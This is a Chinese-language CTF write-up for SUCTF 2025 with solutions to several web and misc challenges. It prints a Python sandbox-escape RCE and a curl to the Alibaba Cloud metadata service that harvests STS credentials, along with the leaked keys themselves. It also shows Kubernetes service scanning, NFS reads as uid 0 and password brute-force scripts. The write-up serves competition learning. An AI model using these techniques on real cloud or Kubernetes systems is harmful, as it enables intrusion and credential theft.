Rank 27
大家伙儿都在期末,比赛放了,没人打,冰框框做,但也进不了前二十
别看了,官方:https://github.com/team-su/SUCTF-2025
Web
SU_easyk8s_on_aliyun
- 先RCE
import os
import _posixsubprocess
_posixsubprocess.fork_exec([b"/bin/bash","-c","""ls"""], [b"/bin/bash"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
- 获取AKAS
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/oss-root
{
"AccessKeyId" : "STS.NTqYAXkzB6qfZUJLkpZJU4h9N",
"AccessKeySecret" : "GtFKSC8RTV1wTcEpbdrYWiCCFbcq9uZZjSHc289ZkETy",
"Expiration" : "2025-01-12T09:03:33Z",
"SecurityToken" : "CAIS1AJ1q6Ft5B2yfSjIr5fEEvvshqVjgbONWHP7qGslVsV5262SrDz2IHhMdHRqBe0ctvQ+lG5W6/4YloltTtpfTEmBc5I179Fd6VqqZNTZqcy74qwHmYS1RXadFEYgHCN0zr+rIunGc9KBNnrm9EYqs5aYGBymW1u6S+7r7bdsctUQWCShcDNCH604DwB+qcgcRxCzXLTXRXyMuGfLC1dysQdRkH527b/FoveR8R3Dllb3uIR3zsbTWsH6MZc1Z8wkDovsjbArKvL7vXQOu0QQxsBfl7dZ/DrLhNaZDmRK7g+OW+iuqYU3fFIjOvVgQ/4V/KaiyKUioIzUjJ+y0RFKIfHnm/ES9DUVqiGtOpRKVr5RHd6TUxxGYkQMsBA+nSmQwGPJReJb+udQu7JKc2gIYBv0ZNFJ1n7EnGlNRYbLXu/Ir1QXq3esyb6gQz4rKw2C9MBGUvdUGoABcwcHnV6ifPv5+Y+ZY9Nv6RvcsMOJgzvr5d3bJIxVz9I9tYG5lR1KBxJFgRu2KKrGo41V9n1iW5GokuWZYlEboaymbtHvYpIcoG9Y6TP56lU96E1aQb+6sByeVVEgQq7L3vjAcH1ezw9xjrlnI5mZRBDt+bvSKT5MATJYMsmy3zEgAA==",
"LastUpdated" : "2025-01-12T03:03:33Z",
"Code" : "Success"
}
- versioning还原记录,官方文档,v2版本的versioning部分没写完
ossutil64.exe ls oss://suctf-flag-bucket --all-versions
ossutil64.exe cp oss://suctf-flag-bucket/oss-flag test/ --version-id "CAEQmwIYgYDA6Lad1qIZIiAyMjBhNWVmMDRjYzY0MDI3YjhiODU3ZDQ2MDc1MjZhOA--"
# -*- coding: utf-8 -*-
import oss2
from oss2.credentials import StaticCredentialsProvider
# 从环境变量中获取访问凭证。运行本代码示例之前,请确保已设置环境变量OSS_ACCESS_KEY_ID和OSS_ACCESS_KEY_SECRET。
auth = oss2.ProviderAuthV4(StaticCredentialsProvider("STS.NUXboFe3yoUVsrGbWLabCA65D", "CshnFwousyDW75fm7yDN8mJ8ZF5uu8opdzfwxT67ttha", "CAIS1AJ1q6Ft5B2yfSjIr5btKdXyiOxY2Je9cVT2hlcZbe1vrvOepjz2IHhMdHRqBe0ctvQ+lG5W6/4YloltTtpfTEmBc5I179Fd6VqqZNTZqcy74qwHmYS1RXadFEZoHylSzr+rIunGc9KBNnrm9EYqs5aYGBymW1u6S+7r7bdsctUQWCShcDNCH604DwB+qcgcRxCzXLTXRXyMuGfLC1dysQdRkH527b/FoveR8R3Dllb3uIR3zsbTWsH6MZc1Z8wkDovsjbArKvL7vXQOu0QQxsBfl7dZ/DrLhNaZDmRK7g+OW+iuqYU3fFIjOvVgQ/4V/KaiyKUioIzUjJ+y0RFKIfHnm/ES9DUVqiGtOpRKVr5RHd6TUxxGQkUQpyw+nSmQwGPJReJb+udQu7JKc2gIYBv0ZNFJ1n7EnGlNRYbLXu/Ir1QXq3esyb6gQz4rKzbQ/8ZGUvdUGoABQjEAA6QelDyFczToHuBhUy6uSdlBeZ92fCYcFqfy79NJACUt9fYrhqVlhNyrnqtc/DNcuQ615BrG2szW+xed/m6fpm8kB6enlOSGXFFE/zET4JyJI/RPnVQQvq91tNU2RkO3ihKrouan5tli3XU5/88uCYx0TrJb05LiU3iw3kYgAA=="))
# 填写Bucket所在地域对应的Endpoint。以华东1(杭州)为例,Endpoint填写为https://oss-cn-hangzhou.aliyuncs.com。
endpoint = "https://oss-cn-hangzhou.aliyuncs.com"
# 填写Endpoint对应的Region信息,例如cn-hangzhou。注意,v4签名下,必须填写该参数
region = "cn-hangzhou"
# yourBucketName填写存储空间名称。
bucket = oss2.Bucket(auth, endpoint, "suctf-flag-bucket", region=region)
# 开启Bucket版本控制后,调用list_object_versions接口返回不同版本的Object信息。
# 列举Bucket中包括删除标记(Delete Marker)在内的所有Object的版本信息。
result = bucket.list_object_versions()
# print(result.versions)
# 列举所有Object的版本信息。
next_key_marker = None
next_versionid_marker = None
while True:
result = bucket.list_object_versions(key_marker=next_key_marker, versionid_marker=next_versionid_marker)
# 查看列举Object的版本信息。
for version_info in result.versions:
print('version_info.versionid:', version_info.versionid)
print('version_info.key:', version_info.key)
print('version_info.is_latest:', version_info.is_latest)
object_stream = bucket.get_object(version_info.key, params={"versionId": version_info.versionid})
read_content = object_stream.read()
print('object.content:', read_content)
# 查看列举删除标记的版本信息。
for del_maker_Info in result.delete_marker:
print('del_maker.key:', del_maker_Info.key)
print('del_maker.versionid:', del_maker_Info.versionid)
print('del_maker.is_latest:', del_maker_Info.is_latest)
is_truncated = result.is_truncated
# 查看列举结果是否完整。如果结果不完整,则继续罗列。如果结果已完整,则退出循环。
if is_truncated:
next_key_marker = result.next_key_marker
next_versionid_marker = result.next_versionid_marker
else:
break
SU_easyk8s
应当是要好好复现来着,手头上其他事情有些干预,再加上对CTF实在没什么热情了(至少写WP上是这样的)拖了这么久,环境也没了,能不能让老登给我专门起个环境😋
- 马子种不上去有点儿心烦,从老登那儿要个wp囤着,当时怎么就没想着探一下内网来着?
官方:https://github.com/team-su/SUCTF-2025/tree/main/web/SU_easyk8s/writeup
探服务
for i in $(seq 1 254); do ./k8spider all -c 10.43.$i.1/24 -i 20000 >> res ;done
{"Ip":"10.43.8.117","SvcDomain":"suctf-svc.default.svc.cluster.local.","SrvRecords":[{"Cname":"suctf-svc.default.svc.cluster.local.","Srv":[{"Target":"suctf-svc.default.svc.cluster.local.","Port":5000,"Priority":0,"Weight":100}]}]}
{"Ip":"10.43.109.180","SvcDomain":"metrics-server.kube-system.svc.cluster.local.","SrvRecords":[{"Cname":"metrics-server.kube-system.svc.cluster.local.","Srv":[{"Target":"metrics-server.kube-system.svc.cluster.local.","Port":443,"Priority":0,"Weight":100}]}]}
{"Ip":"10.43.116.179","SvcDomain":"kube-state-metrics.lens-metrics.svc.cluster.local.","SrvRecords":[{"Cname":"kube-state-metrics.lens-metrics.svc.cluster.local.","Srv":[{"Target":"kube-state-metrics.lens-metrics.svc.cluster.local.","Port":8080,"Priority":0,"Weight":100}]}]}
{"Ip":"10.43.140.10","SvcDomain":"nginx-ingress-controller.ingress-nginx.svc.cluster.local.","SrvRecords":[{"Cname":"nginx-ingress-controller.ingress-nginx.svc.cluster.local.","Srv":[{"Target":"nginx-ingress-controller.ingress-nginx.svc.cluster.local.","Port":80,"Priority":0,"Weight":50},{"Target":"nginx-ingress-controller.ingress-nginx.svc.cluster.local.","Port":443,"Priority":0,"Weight":50}]}]}
{"Ip":"10.43.225.93","SvcDomain":"istiod.istio-system.svc.cluster.local.","SrvRecords":[{"Cname":"istiod.istio-system.svc.cluster.local.","Srv":[{"Target":"istiod.istio-system.svc.cluster.local.","Port":15012,"Priority":0,"Weight":25},{"Target":"istiod.istio-system.svc.cluster.local.","Port":15010,"Priority":0,"Weight":25},{"Target":"istiod.istio-system.svc.cluster.local.","Port":15014,"Priority":0,"Weight":25},{"Target":"istiod.istio-system.svc.cluster.local.","Port":443,"Priority":0,"Weight":25}]}]}
metrics信息泄露
kube-state-metrics.lens-metrics.svc.cluster.local:8080/metrics
kube_persistentvolume_info{persistentvolume="nfs-pv",storageclass="nfs-client",gce_persistent_disk_name="",ebs_volume_id="",azure_disk_name="",fc_wwids="",fc_lun="",fc_target_wwns="",iscsi_target_portal="",iscsi_iqn="",iscsi_lun="",iscsi_initiator_name="",nfs_server="0c09048b03-got17.cn-hangzhou.nas.aliyuncs.com",nfs_path="/nfs-root/",csi_driver="",csi_volume_handle="",local_path="",local_fs="",host_path="",host_path_type=""} 1
nfs读文件
nfs-ls nfs://0c09048b03-got17.cn-hangzhou.nas.aliyuncs.com/?uid=0
nfs-cat nfs://0c09048b03-got17.cn-hangzhou.nas.aliyuncs.com/flag.txt?uid=0
亦或 nfs-client
Misc
SU_checkin
- 流量中找到一些信息
java.-jar.suctf-0.0.1-SNAPSHOT.jar.--password=SePassWordLen23SUCT
algorithm=PBEWithMD5AndDES
spring.application.name=suctf
server.port = 8888
OUTPUT=ElV+bGCnJYHVR8m23GLhprTGY0gHi/tNXBkGBtQusB/zs0uIHHoXMJoYd6oSOoKuFWmAHYrxkbg=
- 密码不完整,写脚本爆破,python写的解密算法有问题,只能用ai原生的java写,不会java,写的很丑
package io.jbnrz.demo;
import org.jasypt.encryption.pbe.StandardPBEStringEncryptor;
import java.util.concurrent.*;
public class DemoApplication {
public static void main(String[] args) {
String original = "SePassWordLen23SUCTF";
char[] insertChars = new char[62];
int index = 0;
for (char c = 'A'; c <= 'Z'; c++) insertChars[index++] = c; // 大写字母 A-Z
for (char c = 'a'; c <= 'z'; c++) insertChars[index++] = c; // 小写字母 a-z
for (char c = '0'; c <= '9'; c++) insertChars[index++] = c; // 数字 0-9
// 创建线程池
int numThreads = Runtime.getRuntime().availableProcessors();
ExecutorService executor = Executors.newFixedThreadPool(numThreads);
for (int i = 0; i < original.length() + 1; i++) {
for (int j = 0; j < original.length() + 2; j++) {
for (int k = 0; k < original.length() + 3; k++) {
System.out.println("Inserting at: " + i + ", " + j + ", " + k);
// 提交任务到线程池
executor.submit(new PasswordTask(i, j, k, insertChars, original));
}
}
}
executor.shutdown();
}
}
class PasswordTask implements Runnable {
private int i, j, k;
private char[] insertChars;
private String original;
public PasswordTask(int i, int j, int k, char[] insertChars, String original) {
this.i = i;
this.j = j;
this.k = k;
this.insertChars = insertChars;
this.original = original;
}
@Override
public void run() {
for (char char1 : insertChars) {
for (char char2 : insertChars) {
for (char char3 : insertChars) {
// 创建 StringBuilder 对象以构造新字符串
StringBuilder sb = new StringBuilder(original);
// 在指定位置插入字符
sb.insert(i, char1);
sb.insert(j, char2); // 索引调整
sb.insert(k, char3); // 索引调整
// 如果字符串中不包含指定的词,则跳过
if (!sb.toString().contains("SUCTF") || !sb.toString().contains("23") || !sb.toString().contains("PassWord") || !sb.toString().contains("Len")) {
continue;
}
try {
String encryptedData = "ElV+bGCnJYHVR8m23GLhprTGY0gHi/tNXBkGBtQusB/zs0uIHHoXMJoYd6oSOoKuFWmAHYrxkbg=";
StandardPBEStringEncryptor encryptor = new StandardPBEStringEncryptor();
encryptor.setPassword(sb.toString());
String decryptedData = encryptor.decrypt(encryptedData);
if (decryptedData.contains("SUCTF") || decryptedData.contains("suctf")) {
System.out.println("Password: " + sb.toString());
System.out.println("Decrypted data: " + decryptedData);
System.exit(0); // 找到密码后退出程序
}
} catch (Exception e) {
// 如果解密失败,忽略异常
}
}
}
}
}
}
import base64
import hashlib
import re
from Crypto.Cipher import DES
def get_derived_key(password, salt, count):
key = password + salt
for i in range(count):
m = hashlib.md5(key)
key = m.digest()
return (key[:8], key[8:])
def decrypt(msg, password):
try:
msg_bytes = base64.b64decode(msg)
salt = msg_bytes[:8]
enc_text = msg_bytes[8:]
(dk, iv) = get_derived_key(password, salt, 1000)
crypter = DES.new(dk, DES.MODE_CBC, iv)
text = crypter.decrypt(enc_text)
decrypted = re.sub(r'[\x01-\x08]', '', text.decode("utf-8"))
return decrypted
except:
return ""
def main():
msg = b"ElV+bGCnJYHVR8m23GLhprTGY0gHi/tNXBkGBtQusB/zs0uIHHoXMJoYd6oSOoKuFWmAHYrxkbg="
base_passwd = b"SePassWordLen23SUCTF"
for i in range(1000):
num = f"{i:03d}".encode()
current_passwd = base_passwd + num
decrypted_msg = decrypt(msg, current_passwd)
print(current_passwd)
if "SUCTF" in decrypted_msg:
print(decrypted_msg)
break
if __name__ == "__main__":
main()
SU_forensics
R-Studio
恢复出.bash_history
echo "My secret has disappeared from this space and time, and you will never be able to find it."
curl -s -o /dev/null https://www.cnblogs.com/cuisha12138/p/18631364
sudo reboot
Wayback-Machine
找到备份的页面内容
- 放大后能看到涂黑的密码
2phxMo8iUE2bAVvdsBwZ
- 漏了三位commit sha1,可以爆破;或者查看activity,https://github.com/testtttsu/homework/compare/dfe1119683f12cf50b7611a4de5ee25c092aed76…1227e1b70695c0b1e5cfb84281a92539dce959f5
- 压缩脚本
import binascii
import os
import pyzipper
# 定义文件和目录名
txt_filename = 'lost_flag.txt'
zip_filename = 'secret.zip'
output_dir = 'lost_flag'
password = ''//yourpassword
# 读取文本文件中的十六进制数据
with open(txt_filename, 'r') as txt_file:
hex_data = txt_file.read().strip()
# 将十六进制数据转换回二进制数据
binary_data = binascii.unhexlify(hex_data)
# 将二进制数据写入到ZIP文件中
with open(zip_filename, 'wb') as zip_file:
zip_file.write(binary_data)
# 创建输出目录
os.makedirs(output_dir, exist_ok=True)
# 使用pyzipper解压缩ZIP文件
with pyzipper.AESZipFile(zip_filename, 'r', compression=pyzipper.ZIP_DEFLATED, encryption=pyzipper.WZ_AES) as extracted_zip:
extracted_zip.extractall(output_dir, pwd=str.encode(password))
print(f"文件已解压缩并保存到目录 {output_dir}")
- 解zip即可,剩下的不弄了,看到其他跌用词频分析做